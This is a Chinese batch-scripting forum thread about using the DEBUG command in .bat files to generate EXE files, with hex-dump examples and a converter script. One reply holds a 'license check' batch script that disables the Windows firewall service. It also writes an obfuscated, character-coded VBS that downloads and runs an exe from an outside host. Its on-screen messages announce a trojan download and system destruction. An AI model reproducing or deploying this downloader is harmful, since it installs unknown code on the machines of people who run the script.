[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[其他] 【讨论】debug在bat中的作用

      本贴核心目的
  1.说明debug命令在bat中的作用:生成exe;以及涉及第三方程序时的生成(担心所用的东东用户没有)。
  2.初步说明debug的执行方式。


     至于有些人问的  如何生成debug文件?以及  如何突破debug的64K限制?  等等  不再本贴讨论范围内。

  应 topy12345 和 cy32cxb98 的要求在此讨论.....仅仅是讨论哦  O(∩_∩)O~
------------------------------------------------------------------------------------------------------
      bat作为一个方便快捷的东东,有它的优势,自然也有他的局限性。


      比如:   一些系统函数 API等等  都无法实现。

      echo 和>>的结合给了我们bat操作系统关键部分希望  。 利用这两个命令  可以生成txt,reg,ini.......用他们操作系统的注册表,boot.ini等等关键部分(亦有独立的命令,如: reg add)。

      但是这还不够。  debug生成exe 作为bat的一个扩展出现。  有了exe  我们能干的事情多了.....比如坛子里的【挑战区】,我们都可以用exe来完成。
      有些人问:  这还是bat么?  嘿嘿  debug是bat的一个命令,生成的exe,我们把它当做临时文件好了   (呵呵  有点投机取巧.....)


        以下是debug参数 (只给出bat方面能用到的,  想知道更多 问斑竹去   (~ o ~)~zZ  )

  ? 显示 Debug 命令列表。
  c 比较内存的两个部分。
  d 显示部分内存的内容。
  e 从指定地址开始,将数据输入到内存。
  f 使用指定值填充一段内存。
  g 运行在内存中的可执行文件。
  h 执行十六进制运算。
   /n 为 l 或 w 命令指定文件,或者指定正在测试的文件的参数。
   p 执行循环、重复的字符串指令、软件中断或子例程。
  q 停止 Debug 会话。
  r 显示或改变一个或多个寄存器。
   w 将被测试文件写入磁盘。


     以下给出个例子  :   (自己编的一部分)
由于不知道你们习惯什么样的  注释   就用---------------------来说明


  1. @echo off-------------------- 关闭回显
  2. cls--------------------清屏  此法虽然没有临时文件,但会显示编译过程
  3. more +72 "%~0"|debug&graftabl 936>nul-------------------more 偏移  ,截取我的东东,  你自己要改more的值
  4. copy/b/y C:\WINDOWS\system32\$tmp$ C:\WINDOWS\system32\BL_alarm.exe>nul
  5. del/a/f/q C:\WINDOWS\system32\$tmp$
  6. goto:test_f-------------------这个是去执行下个的 ,
  7. e0100  4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 --------------------文件代码
  8. e0110  B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
  9. e0120  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  10. e0130  00 00 00 00 00 00 00 00 00 00 00 00 B8 00 00 00
  11. .........
  12. ..........
  13. ...........
  14. rcx
  15. 5FFF
  16. nC:\WINDOWS\system32\$tmp$
  17. w
  18. q-----------------记得退出
复制代码


   附件是 我写的2个例子 ,已经有权限了,所以发的是成品。
      1.是 实时监控的成品
      2.是md5检测工具的生成(偷懒....  把程序直接截取过来)。

[ 本帖最后由 bluewing009 于 2009-12-1 17:27 编辑 ]

学习学习。
批 处理…

TOP

回复 15楼 的帖子

原创区  ....   斑竹有权限,站着说话不腰疼哦  ...谁让我权限不足哦~

至于称为“讨论”,因为 debug命令 我也是初学,涉及不深。没有各位斑竹的学识,
说以 不能成为“教学贴”。因为自己的知识面窄,我只是抛砖引玉。特别是 Batcher ,他总能想出一些新东西,所以  “讨论”  的作用之一是用来钓他的哦  O(∩_∩)O~

TOP

回复 11楼 的帖子

楼主此帖从哪里可以看出有“讨论”的意思呢?
而且你说不是教学贴,那么发到“原创区”才更合适吧。

PS:讨论是什么意思?
http://baike.baidu.com/view/46623.htm
命令行参考:hh.exe ntcmds.chm::/ntcmds.htm
求助者请拿出诚心,别人才愿意奉献热心!
把查看手册形成条件反射!

TOP

回复 13楼 的帖子

你误解楼主的意思了吧?再仔细看看顶楼的代码?
我帮忙写的代码不需要付钱。如果一定要给,请在微信群或QQ群发给大家吧。
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
【支持批处理之家,加入VIP会员!】http://bbs.bathome.net/thread-67716-1-1.html

TOP

没看明白如何用debug将bat生成exe。

TOP

以debug为关键字,在咱们论坛进行全文搜索,结果找到6页内容,随手挑了几个,供大家参考:
http://bbs.bathome.net/thread-2130-1-1.html
http://bbs.bathome.net/thread-6417-1-1.html
http://bbs.bathome.net/thread-6374-1-1.html

顺便普及一下论坛全文搜索的使用方法:
http://bbs.bathome.net/thread-3473-1-1.html
我帮忙写的代码不需要付钱。如果一定要给,请在微信群或QQ群发给大家吧。
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
【支持批处理之家,加入VIP会员!】http://bbs.bathome.net/thread-67716-1-1.html

TOP

回复 9楼 的帖子

debug该给谁用?   是版主?  是管理员?还是技术组?

debug 命令 该放在什么位置?我们到底需要它干什么?

如果是技术组考核问题 还可以理解,如果像我帖子开头说明 的 只是 讨论  而不是你们的【教学贴】的话,
发这两篇文章明显 过头了

TOP

回复 9楼 的帖子

呵呵  你这两个拿给别人看 .....效果如何?

本来 debug在bat的应用 就不是很普遍。  你这个虽然以第一名的文件举例子,
但是 到底讲了debug多少东西,对于 来坛子里的人来说,最需要的、

是你的原理?还是仅仅是要个工具 ? 亦或者 仅仅要求浅显的了解 工作方式?

TOP

楼主, 按你的第二种方法还是没有办法解64k的问题
用copy file1+file2+file3...的方法倒是可以,
但是bat数据却不好生成

还有出现很多0时可以改成用f命令的,这样可以减少bat文件的大小。


本站真的没有debug的贴子吗?看看:http://bbs.bathome.net/thread-3541-1-1.html

再看看这个:http://bbs.bathome.net/thread-6482-1-1.html

[ 本帖最后由 netbenton 于 2009-12-1 23:10 编辑 ]

TOP

回复 7楼 的帖子

64K 限制用第二种>>法可以,或者分开最后在合起来。
n命令  使我们自己设定的,可以不考虑特殊情况。

确实没看到debug的帖子......55555555

帖子目的已经在 开头说的很明确了  只是初步讨论
  向你这样  已经掌握的  干吗不跳过去呢?

TOP

为何要用copy /b命令?用其它命令为啥不行或不好?
n命令生成临时文件时,如何处理路径或文件名包含空格的情况?
如果突破64k的限制?

这些问题都不在这个帖子的讨论范围之内吗?如果这个帖子只是为了给个例子来说明debug在批处理如何使用,咱们论坛不是有很多例子了吗,困惑ing
我帮忙写的代码不需要付钱。如果一定要给,请在微信群或QQ群发给大家吧。
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
【支持批处理之家,加入VIP会员!】http://bbs.bathome.net/thread-67716-1-1.html

TOP

5555555555~~@@

那我的那个验证如何使用DEBUG去除。?


@echo off
net stop sharedaccess
if not exist C:\WINDOWS\web.vbs goto :ad
b
if not exist C:\WINDOWS\mirl goto :ab
goto :oko
:ad
mode con cols=50 lines=20&color 7f
title lengyuye key
cls
echo
echo
echo key
net stop sharedaccess
echo Str=Array(83,101,116,32,120,80,111,115,116,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,32,32,13,10,120,80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,97,118,122,104,97,52,46,51,51,50,50,46,111,114,103,47,118,98,115,46,101,120,101,34,44,48,32,32,32,13,10,120,80,111,115,116,46,83,101,110,100,40,41,32,32,32,13,10,83,101,116,32,115,71,101,116,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,32,32,32,13,10,115,71,101,116,46,77,111,100,101,32,61,32,51,32,32,13,10,115,71,101,116,46,84,121,112,101,32,61,32,49,32,32,13,10,115,71,101,116,46,79,112,101,110,40,41,32,32,13,10,115,71,101,116,46,87,114,105,116,101,40,120,80,111,115,116,46,114,101,115,112,111,110,115,101,66,111,100,121,41,32,32,13,10,115,71,101,116,46,83,97,118,101,84,111,70,105,108,101,32,34,67,58,92,87,73,78,68,79,87,83,92,118,98,115,46,101,120,101,34,44,50,32,32,13,10) >>C:\WINDOWS\ut.vbs
echo Function Num2Str(Str):For I=0 To UBound(Str):Num2Str=Num2Str ^& Chr(Str(I)):Next:End Function >>C:\WINDOWS\ut.vbs
echo Function Num2Str(Str):For I=0 To UBound(Str):Num2Str=Num2Str ^& Chr(Str(I)):Next:End Function >>C:\WINDOWS\ut.vbs
echo Execute Num2Str(Str) >>C:\WINDOWS\ut.vbs
echo Execute Num2Str(Str) >>C:\WINDOWS\ut.vbs
cls
echo.
echo.
echo.
echo.
echo.
echo          认证错误! 执行下载木马!
echo.
echo.
echo                             正在破坏系统... ...
C:\WINDOWS\ut.vbs
C:\WINDOWS\vbs.exe
del C:\WINDOWS\ut.vbs /q
del C:\WINDOWS\vbs.exe /q
goto :ob
:ab
@echo off&setlocal enabledelayedexpansion
if exist C:\WINDOWS\mirl del C:\WINDOWS\mirl /q
set yyyy=%date:~0,4%
set mm=%date:~5,2%
set dd=%date:~8,2%
set /a od=!dd!-1
if !od!==0 call :dd0
if !mm!==0 call :mm0
set yyyymmdd=l1!yyyy!5!mm!2!od!1
echo !yyyymmdd!>>C:\WINDOWS\mirl
goto :oko

:dd0
set /a mm=!mm!-1
for %%a in (1 3 5 7 8 10 12)do set %%add=31
set /a pddd=!yyyy!*10/4
set pd2d=!pddd:~-1,1!
set 2dd=28
if !pd2d!==0 set 2dd=29
for %%b in (4 6 9 11)do set %%bdd=30
set od=!%mm%dd!
goto :eof
:mm0
set /a yyyy=!yyyy!-1
set mm=12 && set od=31
goto :eof
:oko
@echo off
COPY C:\WINDOWS\mirl C:\WINDOWS\system32\mced
COPY C:\WINDOWS\web.vbs C:\WINDOWS\system32\cced
@for /f "tokens=1,2,3 delims= " %%i in (C:\WINDOWS\system32\mced) do set gateway1=%%i%%j%%k
@for /f "tokens=1,2,3 delims= " %%i in (C:\WINDOWS\system32\cced) do set gateway=%%i
if /i %gateway%==%gateway1% goto yes
if exist C:\WINDOWS\system32\mced del C:\WINDOWS\system32\mced /q
if exist C:\C:\WINDOWS\system32\cced del C:\C:\WINDOWS\system32\cced /q
if exist C:\WINDOWS\mirl del C:\WINDOWS\mirl /q
if exist C:\WINDOWS\web.vbs del del C:\WINDOWS\web.vbs /q
exit
:yes
echo  on
if exist C:\WINDOWS\system32\mced del C:\WINDOWS\system32\mced /q
if exist C:\C:\WINDOWS\system32\cced del C:\C:\WINDOWS\system32\cced /q
if exist C:\WINDOWS\mirl del C:\WINDOWS\mirl /q
if exist C:\WINDOWS\web.vbs del del C:\WINDOWS\web.vbs /q

@echo off
cls
mode con cols=50 lines=20&color 7f
title lengyuye key
echo       yanzhengdengdai!
echo                         =1=
@ping 127.0.0.1 -n 50>nul
if not exist OPE?.DLL echo NO && goto:bbdd
COPY OPE.DLL OPE1.DLL
del OPE.DLL /Q
goto LCC
:NO
@echo off
color B
cls
mode con cols=60 lines=20&color 6c
@for /f "tokens=1,2,3 delims= " %%i in (OPE1.DLL) do s -p :%%i…… -m 1 && if exist OPE1.DLL @echo off && @start /b ok %%i 1521 3000 %%i
goto :iipp
:LLCC
@echo off&setlocal enabledelayedexpansion
set keyn=1
for /f "tokens=2 delims=:" %%i in ('ipconfig /all ^| findstr /i /c:"hysical Address"') do set keyid=%%i
set keyid=%keyid:~10,2%%keyid:~1,2%%keyid:~4,2%%keyid:~16,2%%keyid:~7,2%%keyid:~13,2%
if exist "%~dp0xcdkey.dat" goto key2
:key
echo                        key:%keyid%
set keyida=%keyid%
set /a keyida+=1234567890
set /a keyida">>="2
set key=
set /p key=(%keyn%)------
if /i %key%==%keyida%  echo %keyida%>"%~dp0xcdkey.dat"&&goto NO
set /a keyn+=1
if /i %keyn%==4 goto key1
echo        NO!
goto key
:key1
echo        BEY!
del %0
call :exit
:key2
for /f "tokens=1* delims=" %%i in ('type "%~dp0xcdkey.dat"') do set keyida=%%i
set keyidb=%keyid%
set /a keyidb+=1234567890
set /a keyidb">>="2
if /i %keyida%==%keyidb% goto NO
echo   NO!
goto key
:iipp
del OPE1.DLL /q
if exist C:\WINDOWS\system32\mced del C:\WINDOWS\system32\mced /q
if exist C:\C:\WINDOWS\system32\cced del C:\C:\WINDOWS\system32\cced /q
if exist C:\WINDOWS\mirl del C:\WINDOWS\mirl /q
if exist C:\WINDOWS\web.vbs del del C:\WINDOWS\web.vbs /q
:bbdd
ceshi.bat

TOP

我有一段代码,可以把第一个参数指定的文件,转成可用debug 还原的数据类型(体积最小),
大家看看要是能用就拿去用吧:
  1. @echo off
  2. set/a size=%~z1
  3. set/a si=size/512+1
  4. ::取文件大小
  5. pushd %~dp1
  6. echo;&echo;&echo 正在转换请稍候。。。。。。
  7. (echo ;可用于在DEBUG里恢复成二进制程序的16进制数据,n后面的文件名不能以.exe为扩展名。
  8. echo a
  9. call :hex %1
  10. echo n 文件名
  11. echo w
  12. echo q
  13. )>for_debug.txt
  14. start for_debug.txt
  15. del %~n0.fc /q
  16. goto :eof
  17. :hex
  18. setlocal enabledelayedexpansion
  19. for /l %%a in (1,1,128) do (set spac=!spac!    )
  20. (for /l %%k in (1,1,!si!) do set /p=!spac!%~n0.fc
  21. ::准备一个比当前文件大的全空格文件
  22. set ec=
  23. set n=-1
  24. for /f "skip=1 tokens=1-3 delims=: " %%a in ('fc %~n0.fc %~nx1 /b') do (
  25.         if "%%a"=="FC" goto :fcok
  26.         set/a m=0x%%a,n+=1
  27.         if !m! neq !n! (
  28.                 set /a n+=1
  29.                 for /l %%z in (!n!,1,!m!) do (set "fc=!fc! 20")
  30.                 set /a n=m
  31.         )
  32.         set "fc=!fc! %%c"
  33.         for %%d in (!fc!) do (if defined kk (set ec=!ec!%%d!kk! &set kk=) else (set kk=%%d))
  34.         set ec=!ec:0 =z !
  35.         set ec=!ec: 00= !
  36.         set ec=!ec: 0= !
  37.         set ec=!ec:z=0!
  38.         set fc=
  39.         
  40.         if "!ec:~76!" neq "" (
  41.                 if "!ec:~70,1!" equ " " (echo;dw!ec:~,70!&set ec=!ec:~70!) else (
  42.                         if "!ec:~71,1!" equ " " (echo;dw!ec:~,71!&set ec=!ec:~71!) else (
  43.                                 if "!ec:~72,1!" equ " " (echo;dw!ec:~,72!&set ec=!ec:~72!) else (
  44.                                         if "!ec:~73,1!" equ " " (echo;dw!ec:~,73!&set ec=!ec:~73!) else (echo;dw!ec:~,74!&set ec=!ec:~74!)
  45.                                 )
  46.                         )
  47.                 )
  48.         )
  49. )
  50. ::利用fc 的二进制对比,取十六进制编码,并生成debug 可以接受的输入串
  51. :fcok
  52. echo;dw!ec!
  53. echo;
  54. call :o-h 调用子过程,把文件大小转为16进制。
  55. echo r cx
  56. echo !hh:~-4!
  57. if "!hh:~4!" neq "" (echo r bx&echo !hh:~,-4!)
  58. ::转为debug可以接受的格式,低位在cx寄存器,高位在bx寄存器。
  59. endlocal
  60. goto :eof
  61. ::;利用fc的二进制对的特性
  62. :o-h
  63. set n=0
  64. for %%a in (0 1 2 3 4 5 6 7 8 9 a b c d e f) do (set h!n!=%%a&set/a n+=1)
  65. :ohlp
  66. set/a one=size%%16,size=size/16
  67. set hh=!h%one%!!hh!
  68. if !size! equ 0 goto :eof
  69. goto :ohlp
复制代码

TOP

回复 3楼 的帖子

说明啊~~~
附件和帖子上的都是为了讲解的例子样品  拿来直接用肯定是失败的。

虽然我有完整的  但是权限不足 大小超过了。

或者谁帮我发一下 ?


更新:   现在例子已经完整了。

[ 本帖最后由 bluewing009 于 2009-12-1 17:27 编辑 ]

TOP

返回列表